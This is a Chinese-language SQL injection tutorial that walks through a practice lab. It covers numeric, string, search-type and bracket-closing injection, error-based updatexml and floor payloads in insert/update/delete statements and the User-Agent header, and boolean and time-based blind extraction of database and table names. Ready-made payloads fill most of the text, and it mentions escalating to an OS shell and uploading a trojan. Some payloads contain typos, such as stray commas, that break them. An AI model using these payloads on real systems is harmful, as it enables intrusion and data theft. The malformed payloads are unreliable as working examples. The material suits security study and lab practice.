sql注入漏洞 (危害是最大得)
Sql注入
數據庫注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊者可以通過合法的輸入點提交一些精心構造的語句,從而欺騙后台數據庫對其進行執行,導致數據庫信息泄露的一種漏洞。
Sql注入攻擊流程:
1. 注入點探測
自動方式:使用web漏洞掃描工具,自動進行注入點發現
手動方式:手工構造sql inject測試語句進行注入點發現
2. 信息獲取
通過注入點取得期望得到的數據:
1. 環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等
2. 數據庫信息:數據庫名稱,數據庫表,表字段,字段內容(加密內容破解)
3. 獲取權限 獲取操作系統權限:通過數據庫執行shell,上傳木馬
3.sql注入類型: 數字型 user_id=$id
字符型 user_id='$id'
搜索型 text like '%{$_GET['search']}' "
select 字段1 from table where id=1 會顯示表中第一行信息
select 字段1 from table where id=1 or 1=1 會顯示表中所有信息
Get方式中使用url提交注入數據;
post方式中使用抓包工具修改post數據部分提交注入
注入方法可參考sqli-labs實驗方法:https://www.cnblogs.com/199904-04/p/12296733.html
一、SQL數字型注入(post)
選擇1,查詢;

進行抓包,並發送到repeater;

修改id為1 or 1=1 ,可以看到id全部列出;

查看源碼,這里post請求直接把id帶到SQL·語句中,沒有做任何處理,所以id這里存在sql注入漏洞;

二、SQL字符型注入(get)
輸入kobe,查詢;

因為是字符型的注入,我們可以使用做sqli-labs方法進行嘗試,加單引號、雙引號、括號、以及他們的組合,這里需要注意閉合后面注釋,我們輸入 kobe’ or 1=1#’

我們查看源碼,發現這里的變量是字符型,需要構造閉合;

三、SQL搜索型注入
查看源碼,可以發現需要構造閉合,且閉合需要有’%

在數據庫中查詢語句為 select username,id,email from member where username like '%$name%'
所以在這我們使用xxx%’ or 1=1#進行查詢;閉合成功,遍歷用戶所有信息;
四、SQLxx型注入
數據庫中查詢語句為select id,email from member where username=('$name')
則閉合為xx’) or 1=1# 可遍歷用戶所有信息;

五、Insert/updata/delete注入(使用報錯注入)


基於insert/undata下的報錯
Ztt’or updatexml(1,concat(0x7e,database()),0)or ‘
基於delete下的報錯
1 or updatexml(1,concat(0x7e,database()),0)
基於floor()
Kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema,tables group by x)a)#
基於delete下的報錯
1 or updatexml(1,concat(0x7e,database()),0)
先刪除一個留言,抓包,然后 發送到repeater;

看源碼可知id是一個數字型;

在repeater中修改id並轉碼;

在右邊的界面拉到最后就會有報錯信息的顯示;

六、http頭注入
有時候后台開發人員為了驗證客戶信息(比如cookie驗證)或者通過http header頭信息獲取客戶端的一些信息,比如useragent、accept字段等 會對客戶端的http header信息進行獲取並使用sql進行處理,如果此時沒有足夠的安全考慮則可能會導致基於http header 的sql inject漏洞。
admin 123456 登錄;

進行抓包,並發送到repeater,修改user-agent
firefox’or updatexml(1,concat(0x7e,database()),0)or ‘

七、盲注
在有些情況下,后台使用了錯誤消息屏蔽方法(比如@)屏蔽了報錯,此時無法在根據報錯信息來進行注入的判斷,這種情況下的注入,稱為“盲注”;
盲注分為:based boolean
Based time
based boolean
表現:
1.沒有報錯信息
2.結果都只顯示兩種情況(0或1)
3.在正確的輸入下,輸入and 1=1/and 1=2可以判斷
輸入 Kobe’ and ascii(substr(database(),1,1))>113#

輸入 kobe' and ascii(substr(database(),1,1,))=112# 輸出正確;

將database()換成
Select table_name from information_schema.tables where table_schema=database() limit 0, 1
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)
,1,1,))>112# 也是可以的;
Based time
kobe’ and sleep(5)# 頁面會停頓5秒;

通過這個可以判斷構造語句是否正確
kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#
猜測第一個字符是否是a (a-z)

我們可以將database()換成select table_name from information_schema.tables where table_schema=database() limit 0, 1 也是可以的。
